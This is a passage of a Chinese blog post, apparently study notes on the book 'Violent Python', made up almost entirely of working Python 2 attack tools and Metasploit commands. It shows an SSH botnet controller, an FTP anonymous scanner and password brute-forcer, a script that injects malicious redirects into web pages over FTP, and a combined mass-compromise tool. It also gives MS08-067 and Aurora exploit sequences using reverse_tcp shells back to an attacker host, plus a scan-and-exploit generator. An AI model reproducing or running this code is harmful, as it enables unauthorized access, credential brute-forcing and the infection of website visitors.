  9. hosts = []  
  10.   
  11. #定义一个客户端的类  
  12. class Client(object):  
  13.     """docstring for Client"""  
  14.     def __init__(self, host, user, password):  
  15.         self.host = host  
  16.         self.user = user  
  17.         self.password = password  
  18.         self.session = self.connect()  
  19.   
  20.     def connect(self):  
  21.         try:  
  22.             s = pxssh.pxssh()  
  23.             s.login(self.host,self.user,self.password)  
  24.             return s  
  25.         except Exception, e:  
  26.             print e  
  27.             print '[-] Error Connecting'  
  28.   
  29.     def send_command(self, cmd):  
  30.         self.session.sendline(cmd)  
  31.         self.session.prompt()  
  32.         return self.session.before  
  33.   
  34. def botnetCommand(cmd, k):  
  35.     for client in botNet:     
  36.         output=client.send_command(cmd)  
  37.         #若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复  
  38.         if k:  
  39.             print '[*] Output from '+client.host  
  40.             print '[+] '+output+'\n'  
  41.   
  42. def addClient(host,user,password):  
  43.     if len(hosts) == 0:  
  44.         hosts.append(host)  
  45.         client=Client(host,user,password)  
  46.         botNet.append(client)  
  47.     else:  
  48.         t = True  
  49.         #遍历查看host是否存在hosts列表中,若不存在则进行添加操作  
  50.         for h in hosts:  
  51.             if h == host:  
  52.                 t = False  
  53.         if t:  
  54.             hosts.append(host)  
  55.             client=Client(host,user,password)  
  56.             botNet.append(client)  
  57.   
  58. def main():  
  59.     parser=optparse.OptionParser('Usage : ./botNet.py -f ')  
  60.     parser.add_option('-f',dest='file',type='string',help='specify botNet file')  
  61.     (options,args)=parser.parse_args()  
  62.     file = options.file  
  63.     if file==None:  
  64.         print parser.usage  
  65.         exit(0)  
  66.       
  67.     #计算文件行数,不能和下面的f用同一个open()否则会出错  
  68.     count = len(open(file,'r').readlines())  
  69.   
  70.     while True:  
  71.         cmd=raw_input(" ")  
  72.         k = 0  
  73.         f = open(file,'r')  
  74.         for line in f.readlines():  
  75.             line = line.strip('\n')  
  76.             host = line.split(':')[0]  
  77.             user = line.split(':')[1]  
  78.             password = line.split(':')[2]  
  79.   
  80.             k += 1  
  81.   
  82.             #这里需要判断是否到最后一台主机调用函数,因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况  
  83.             if k < count:  
  84.                 addClient(host,user,password)  
  85.                 #不是最后一台主机请求,则先不输出命令结果  
  86.                 botnetCommand(cmd,False)  
  87.             else:  
  88.                 addClient(host,user,password)  
  89.                 #最后一台主机请求,则可以输出命令结果  
  90.                 botnetCommand(cmd,True)  
  91.       
  92. if __name__ =='__main__':  
  93.     main()  

这段修改的代码主要的处理问题是输出的问题,在代码注释中也说得差不多了,就这样吧。

运行结果:


用户可以将收集到的ssh僵尸主机都保存在botnet.txt文件中,这样脚本运行起来执行就会十分地方便、实现批量式的操作。


3、利用FTP与Web批量抓“肉机”

用Python构建匿名FTP扫描器

一些FTP服务器提供匿名登录的功能,因为这有助于网站访问软件更新,这种情况下,用户输入用户名“anonymous”并提交一个电子邮箱替代密码即可登录。

下面的代码主要是使用ftplib模块的FTP()、login()和quit()方法实现:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def anonLogin(hostname):  
  6.     try:  
  7.         ftp = ftplib.FTP(hostname)  
  8.         ftp.login('anonymous','[email protected]')  
  9.         print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'  
  10.         ftp.quit()  
  11.         return True  
  12.     except Exception, e:  
  13.         print '\n[-] ' + str(h1) + ' FTP Anonymous Logon Failed.'  
  14.         return False  
  15.   
  16. hostname = '10.10.10.128'  
  17. anonLogin(hostname)  

运行结果:



【个人修改的代码】

稍微修改了一下,实现命令行输入交互:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def anonLogin(hostname):  
  6.     try:  
  7.         ftp=ftplib.FTP(hostname)  
  8.         ftp.login('anonymous','what')  
  9.         print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'  
  10.         ftp.quit()  
  11.         return True  
  12.     except Exception,e:  
  13.         print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'  
  14.   
  15. def main():  
  16.     while True:  
  17.         hostname = raw_input("Please enter the hostname: ")  
  18.         anonLogin(hostname)  
  19.         print  
  20.   
  21. if __name__ == '__main__':  
  22.     main()  

运行结果:



使用Ftplib暴力破解FTP用户口令

同样是通过ftplib模块,结合读取含有密码的文件来实现FTP用户口令的破解:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def bruteLogin(hostname,passwdFile):  
  6.     pF = open(passwdFile,'r')  
  7.     for line in pF.readlines():  
  8.         username = line.split(':')[0]  
  9.         password = line.split(':')[1].strip('\r').strip('\n')  
  10.         print '[+] Trying: ' + username + '/' + password  
  11.         try:  
  12.             ftp = ftplib.FTP(hostname)  
  13.             ftp.login(username,password)  
  14.             print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password  
  15.             ftp.quit()  
  16.             return (username,password)  
  17.         except Exception, e:  
  18.             pass  
  19.     print '\n[-] Could not brubrute force FTP credentials.'  
  20.     return (None,None)  
  21.   
  22. host = '10.10.10.128'  
  23. passwdFile = 'ftpBL.txt'  
  24. bruteLogin(host,passwdFile)  

运行结果:


其中ftbBL.txt文件:



【个人修改的代码】

小改一下:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. import ftplib  
  3.   
  4. def bruteLogin(hostname,passwdFile):  
  5.     pF=open(passwdFile,'r')  
  6.     for line in pF.readlines():  
  7.         username=line.split(':')[0]  
  8.         password=line.split(':')[1].strip('\r').strip('\n')  
  9.         print '[+] Trying: '+username+"/"+password  
  10.         try:      
  11.             ftp=ftplib.FTP(hostname)  
  12.             ftp.login(username,password)  
  13.             print '\n[*] '+str(hostname)+' FTP Logon Succeeded: '+username+"/"+password  
  14.             return (username,password)  
  15.         except Exception,e:  
  16.             pass  
  17.     print '\n[-] Could not brute force FTP credentials.'  
  18.     return (None,None)  
  19.   
  20. def main():  
  21.     while True:  
  22.         h=raw_input("[*] Please enter the hostname: ")  
  23.         f=raw_input("[*] Please enter the filename: ")  
  24.         bruteLogin(h,f)  
  25.         print  
  26.   
  27. if __name__ == '__main__':  
  28.     main()  

运行结果:



在FTP服务器上搜索网页

有了FTP服务器的登录口令之后,可以进行测试该服务器是否提供Web服务,其中检测通过nlst()列出的每个文件的文件名是不是默认的Web页面文件名,并把找到的所有默认的网页都添加到retList数组中:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def returnDefault(ftp):  
  6.     try:  
  7.         #nlst()方法获取目录下的文件  
  8.         dirList = ftp.nlst()  
  9.     except:  
  10.         dirList = []  
  11.         print '[-] Could not list directory contents.'  
  12.         print '[-] Skipping To Next Target.'  
  13.         return  
  14.   
  15.     retList = []  
  16.     for filename in dirList:  
  17.         #lower()方法将文件名都转换为小写的形式  
  18.         fn = filename.lower()  
  19.         if '.php' in fn or '.asp' in fn or '.htm' in fn:  
  20.             print '[+] Found default page: '+filename  
  21.             retList.append(filename)  
  22.     return retList  
  23.   
  24. host = '10.10.10.130'  
  25. username = 'ftpuser'  
  26. password = 'ftppassword'  
  27. ftp = ftplib.FTP(host)  
  28. ftp.login(username,password)  
  29. returnDefault(ftp)  

运行结果:



【个人修改的代码】

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def returnDefault(ftp):  
  6.     try:  
  7.         #nlst()方法获取目录下的文件  
  8.         dirList = ftp.nlst()  
  9.     except:  
  10.         dirList = []  
  11.         print '[-] Could not list directory contents.'  
  12.         print '[-] Skipping To Next Target.'  
  13.         return  
  14.   
  15.     retList=[]  
  16.     for fileName in dirList:  
  17.         #lower()方法将文件名都转换为小写的形式  
  18.         fn = fileName.lower()  
  19.         if '.php' in fn or '.htm' in fn or '.asp' in fn:  
  20.             print '[+] Found default page: ' + fileName  
  21.             retList.append(fileName)  
  22.   
  23.     if len(retList) == 0:  
  24.         print '[-] Could not list directory contents.'  
  25.         print '[-] Skipping To Next Target.'  
  26.           
  27.     return retList  
  28.   
  29. def main():  
  30.   
  31.     while True:  
  32.         host = raw_input('[*]Host >>> ')  
  33.         username = raw_input('[*]Username >>> ')  
  34.         password = raw_input('[*]Password >>> ')  
  35.   
  36.         try:  
  37.             ftp = ftplib.FTP(host)  
  38.             ftp.login(username,password)  
  39.             returnDefault(ftp)  
  40.         except:  
  41.             print '[-] Logon failed.'  
  42.   
  43.         print  
  44.   
  45. if __name__ == '__main__':  
  46.     main()  

运行结果:



在网页中加入恶意注入代码

这里主要提及利用之前的极光漏洞,先在Kali中打开Metasploit框架窗口,然后输入命令:

search ms10_002_aurora

use exploit/windows/browser/ms10_002_aurora

show payloads

set payload windows/shell/reverse_tcp

show options

set SRVHOST 10.10.10.160

set URIPATH /exploit

set LHOST 10.10.10.160

set LPORT 443

exploit

运行之后,分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点,虽然得到了连接信息但是没有得到shell,可能是因为IE浏览器的版本不存在极光漏洞吧:


过程清晰之后,就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可,整个代码如下:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def injectPage(ftp,page,redirect):  
  6.     f = open(page + '.tmp','w')  
  7.     #下载FTP文件  
  8.     ftp.retrlines('RETR ' + page,f.write)  
  9.     print '[+] Downloaded Page: ' + page  
  10.     f.write(redirect)  
  11.     f.close()  
  12.     print '[+] Injected Malicious IFrame on: ' + page  
  13.     #上传目标文件  
  14.     ftp.storlines('STOR ' + page,open(page + '.tmp'))  
  15.     print '[+] Uploaded Injected Page: ' + page  
  16.   
  17. host = '10.10.10.130'  
  18. username = 'ftpuser'  
  19. password = 'ftppassword'  
  20. ftp = ftplib.FTP(host)  
  21. ftp.login(username,password)  
  22. redirect = ''  
  23. injectPage(ftp,'index.html',redirect)  

运行结果:


显示下载页面、注入恶意代码、上传都成功,到服务器查看相应的文件内容,发现注入成功了:


接下来的利用和本小节开头的一样,直接打开msf进行相应的监听即可。


【个人修改的代码】

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4.   
  5. def injectPage(ftp,page,redirect):  
  6.     f = open(page + '.tmp','w')  
  7.     #下载FTP文件  
  8.     ftp.retrlines('RETR ' + page,f.write)  
  9.     print '[+] Downloaded Page: ' + page  
  10.     f.write(redirect)  
  11.     f.close()  
  12.     print '[+] Injected Malicious IFrame on: ' + page  
  13.     #上传目标文件  
  14.     ftp.storlines('STOR ' + page,open(page + '.tmp'))  
  15.     print '[+] Uploaded Injected Page: ' + page  
  16.     print  
  17. def main():  
  18.     while True:  
  19.         host = raw_input('[*]Host >>> ')  
  20.         username = raw_input('[*]Username >>> ')  
  21.         password = raw_input('[*]Password >>> ')  
  22.         redirect = raw_input('[*]Redirect >>> ')  
  23.         print  
  24.         try:  
  25.             ftp = ftplib.FTP(host)  
  26.             ftp.login(username,password)  
  27.             injectPage(ftp,'index.html',redirect)  
  28.         except:  
  29.             print '[-] Logon failed.'  
  30.   
  31. if __name__ == '__main__':  
  32.     main()  

运行结果:



整合全部的攻击

这里将上面几个小节的代码整合到一块,主要是添加了attack()函数,该函数首先用用户名和密码登陆FTP服务器,然后调用其他函数搜索默认网页并下载同时实现注入和上传,其实说白了这个函数就是将前面几个小节的函数整合起来调用。

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4. import optparse  
  5. import time  
  6.   
  7. def attack(username,password,tgtHost,redirect):  
  8.     ftp = ftplib.FTP(tgtHost)  
  9.     ftp.login(username,password)  
  10.     defPages = returnDefault(ftp)  
  11.     for defPage in defPages:  
  12.         injectPage(ftp,defPage,redirect)  
  13.   
  14. def anonLogin(hostname):  
  15.     try:  
  16.         ftp = ftplib.FTP(hostname)  
  17.         ftp.login('anonymous','[email protected]')  
  18.         print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'  
  19.         ftp.quit()  
  20.         return True  
  21.     except Exception, e:  
  22.         print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'  
  23.         return False  
  24.   
  25. def bruteLogin(hostname,passwdFile):  
  26.     pF = open(passwdFile,'r')  
  27.     for line in pF.readlines():  
  28.         username = line.split(':')[0]  
  29.         password = line.split(':')[1].strip('\r').strip('\n')  
  30.         print '[+] Trying: ' + username + '/' + password  
  31.         try:  
  32.             ftp = ftplib.FTP(hostname)  
  33.             ftp.login(username,password)  
  34.             print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password  
  35.             ftp.quit()  
  36.             return (username,password)  
  37.         except Exception, e:  
  38.             pass  
  39.     print '\n[-] Could not brubrute force FTP credentials.'  
  40.     return (None,None)  
  41.   
  42. def returnDefault(ftp):  
  43.     try:  
  44.         #nlst()方法获取目录下的文件  
  45.         dirList = ftp.nlst()  
  46.     except:  
  47.         dirList = []  
  48.         print '[-] Could not list directory contents.'  
  49.         print '[-] Skipping To Next Target.'  
  50.         return  
  51.   
  52.     retList = []  
  53.     for filename in dirList:  
  54.         #lower()方法将文件名都转换为小写的形式  
  55.         fn = filename.lower()  
  56.         if '.php' in fn or '.asp' in fn or '.htm' in fn:  
  57.             print '[+] Found default page: '+filename  
  58.             retList.append(filename)  
  59.     return retList  
  60.   
  61. def injectPage(ftp,page,redirect):  
  62.     f = open(page + '.tmp','w')  
  63.     #下载FTP文件  
  64.     ftp.retrlines('RETR ' + page,f.write)  
  65.     print '[+] Downloaded Page: ' + page  
  66.     f.write(redirect)  
  67.     f.close()  
  68.     print '[+] Injected Malicious IFrame on: ' + page  
  69.     #上传目标文件  
  70.     ftp.storlines('STOR ' + page,open(page + '.tmp'))  
  71.     print '[+] Uploaded Injected Page: ' + page  
  72.   
  73. def main():  
  74.     parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H  -r  -f ]')  
  75.     parser.add_option('-H',dest='hosts',type='string',help='specify target host')  
  76.     parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')  
  77.     parser.add_option('-f',dest='file',type='string',help='specify userpass file')  
  78.     (options,args) = parser.parse_args()  
  79.   
  80.     #返回hosts列表,若不加split()则只返回一个字符  
  81.     hosts = str(options.hosts).split(',')  
  82.     redirect = options.redirect  
  83.     file = options.file  
  84.   
  85.     #先不用判断用户口令文件名是否输入,因为会先进行匿名登录尝试  
  86.     if hosts == None or redirect == None:  
  87.         print parser.usage  
  88.         exit(0)  
  89.   
  90.     for host in hosts:  
  91.         username = None  
  92.         password = None  
  93.         if anonLogin(host) == True:  
  94.             username = 'anonymous'  
  95.             password = '[email protected]'  
  96.             print '[+] Using Anonymous Creds to attack'  
  97.             attack(username,password,host,redirect)  
  98.         elif file != None:  
  99.             (username,password) = bruteLogin(host,file)  
  100.             if password != None:  
  101.                 print '[+] Using Cred: ' + username + '/' + password + ' to attack'  
  102.                 attack(username,password,host,redirect)  
  103.   
  104. if __name__ == '__main__':  
  105.     main()  

运行结果:


由于可以匿名登录所以可以直接进行注入攻击。


【个人修改的代码】

但是发现就是匿名登录进去的文件都只是属于匿名用户自己的而没有ftpuser即正常的FTP用户的文件,所以为了实现同时进行注入就稍微修改了一下代码:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import ftplib  
  4. import optparse  
  5. import time  
  6.   
  7. def attack(username,password,tgtHost,redirect):  
  8.     ftp = ftplib.FTP(tgtHost)  
  9.     ftp.login(username,password)  
  10.     defPages = returnDefault(ftp)  
  11.     for defPage in defPages:  
  12.         injectPage(ftp,defPage,redirect)  
  13.   
  14. def anonLogin(hostname):  
  15.     try:  
  16.         ftp = ftplib.FTP(hostname)  
  17.         ftp.login('anonymous','[email protected]')  
  18.         print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'  
  19.         ftp.quit()  
  20.         return True  
  21.     except Exception, e:  
  22.         print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'  
  23.         return False  
  24.   
  25. def bruteLogin(hostname,passwdFile):  
  26.     pF = open(passwdFile,'r')  
  27.     for line in pF.readlines():  
  28.         username = line.split(':')[0]  
  29.         password = line.split(':')[1].strip('\r').strip('\n')  
  30.         print '[+] Trying: ' + username + '/' + password  
  31.         try:  
  32.             ftp = ftplib.FTP(hostname)  
  33.             ftp.login(username,password)  
  34.             print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password  
  35.             ftp.quit()  
  36.             return (username,password)  
  37.         except Exception, e:  
  38.             pass  
  39.     print '\n[-] Could not brubrute force FTP credentials.'  
  40.     return (None,None)  
  41.   
  42. def returnDefault(ftp):  
  43.     try:  
  44.         #nlst()方法获取目录下的文件  
  45.         dirList = ftp.nlst()  
  46.     except:  
  47.         dirList = []  
  48.         print '[-] Could not list directory contents.'  
  49.         print '[-] Skipping To Next Target.'  
  50.         return  
  51.   
  52.     retList = []  
  53.     for filename in dirList:  
  54.         #lower()方法将文件名都转换为小写的形式  
  55.         fn = filename.lower()  
  56.         if '.php' in fn or '.asp' in fn or '.htm' in fn:  
  57.             print '[+] Found default page: '+filename  
  58.             retList.append(filename)  
  59.     return retList  
  60.   
  61. def injectPage(ftp,page,redirect):  
  62.     f = open(page + '.tmp','w')  
  63.     #下载FTP文件  
  64.     ftp.retrlines('RETR ' + page,f.write)  
  65.     print '[+] Downloaded Page: ' + page  
  66.     f.write(redirect)  
  67.     f.close()  
  68.     print '[+] Injected Malicious IFrame on: ' + page  
  69.     #上传目标文件  
  70.     ftp.storlines('STOR ' + page,open(page + '.tmp'))  
  71.     print '[+] Uploaded Injected Page: ' + page  
  72.   
  73. def main():  
  74.     parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H  -r  -f ]')  
  75.     parser.add_option('-H',dest='hosts',type='string',help='specify target host')  
  76.     parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')  
  77.     parser.add_option('-f',dest='file',type='string',help='specify userpass file')  
  78.     (options,args) = parser.parse_args()  
  79.   
  80.     #返回hosts列表,若不加split()则只返回一个字符  
  81.     hosts = str(options.hosts).split(',')  
  82.     redirect = options.redirect  
  83.     file = options.file  
  84.   
  85.     #先不用判断用户口令文件名是否输入,因为先进行匿名登录尝试  
  86.     if hosts == None or redirect == None:  
  87.         print parser.usage  
  88.         exit(0)  
  89.   
  90.     for host in hosts:  
  91.         username = None  
  92.         password = None  
  93.         if anonLogin(host) == True:  
  94.             username = 'anonymous'  
  95.             password = '[email protected]'  
  96.             print '[+] Using Anonymous Creds to attack'  
  97.             attack(username,password,host,redirect)  
  98.         if file != None:  
  99.             (username,password) = bruteLogin(host,file)  
  100.             if password != None:  
  101.                 print '[+] Using Cred: ' + username + '/' + password + ' to attack'  
  102.                 attack(username,password,host,redirect)  
  103.   
  104. if __name__ == '__main__':  
  105.     main()  

运行结果:


可以发现两个用户中发现的文件是不一样的。


3、Conficker,为什么努力做就够了

在密码攻击的口令列表中值得拥有的11个口令:

aaa

academia

anything

coffee

computer

cookie

oracle

password

secret

super

unknown

使用Metasploit攻击Windows SMB服务

这里主要利用了MS08-067的这个漏洞来进行演示

将下面的命令保存为conficker.rc文件:

use exploit/windows/smb/ms08_067_netapi

set RHOST 10.10.10.123

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.10.10.160

set LPORT 7777

exploit -j -z


这里exploit命令的-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互。

接着输入命令:msfconsole -r conficker.rc


获得一个会话session1之后,然后打开这个session:


这样就能通过打开文件读取其中命令的方式来执行msf相应的操作,从而获取了XP的shell。


编写Python脚本与Metasploit交互

导入nmap库,在findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现上一小节中conficker.rc脚本中一样的内容:

[python]  view plain  copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3.   
  4. import nmap  
  5.   
  6. def findTgts(subNet):  
  7.     nmScan = nmap.PortScanner()  
  8.     nmScan.scan(subNet,'445')  
  9.     tgtHosts = []  
  10.     for host in nmScan.all_hosts():  
  11.         #若目标主机存在TCP的445端口  
  12.         if nmScan[host].has_tcp(445):  
  13.             state = nmScan[host]['tcp'][445]['state']  
  14.             #并且445端口是开启的  
  15.             if state == 'open':  
  16.                 print '[+] Found Target Host: ' + host  
  17.                 tgtHosts.append(host)  
  18.     return tgtHosts  
  19.   
  20. def setupHandler(configFile,lhost,lport):  
  21.     configFile.write('use exploit/multi/handler\n')  
  22.     configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')  
  23.     configFile.write('set LPORT ' + str(lport) + '\n')  
  24.     configFile.write('set LHOST ' + lhost + '\n')  
  25.     configFile.write('exploit -j -z\n')  
  26.   
  27.     #设置全局变量DisablePayloadHandler,让已经新建一个监听器之后,后面的所有的主机不会重复新建监听器  
  28.     #其中setg为设置全局参数  
  29.     configFile.write('setg DisablePayloadHandler 1\n')  
  30.   
  31. def confickerExploit(configFile,tgtHost,lhost,lport):  
  32.     configFile.write('use exploit/windows/smb/ms08_067_netapi\n')  
  33.     configFile.write('set RHOST ' + str(tgtHost) + '\n')  
  34.     configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')  
  35.     configFile.write('set LPORT ' + str(lport) + '\n')  
  36.     configFile.write('set LHOST ' + lhost + '\n')  
  37.   
  38.     #-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互  
  39.     configFile.write('exploit -j -z\n')  

注意点就是,在confickerExploit()函数中,脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用对目标主机上的漏洞。因为这个脚本是实现批量式操作的,即会渗透多个目标主机,因而不可能同时与各个主机进行交互而必须使用-j和-z参数。


暴力破解口令,远程执行一个进程

这里暴力破解SMB用户名/密码,以此来获取权限在目标主机上远程执行一个进程(psexec),将用户名设为Administrator,然后打开密码列表文件,对文件中的每个密码都会生成一个远程执行进行的Metasploit脚本,若密码正确则会返回一个命令行shell:

[python]  view plain  

你可能感兴趣的:(安全)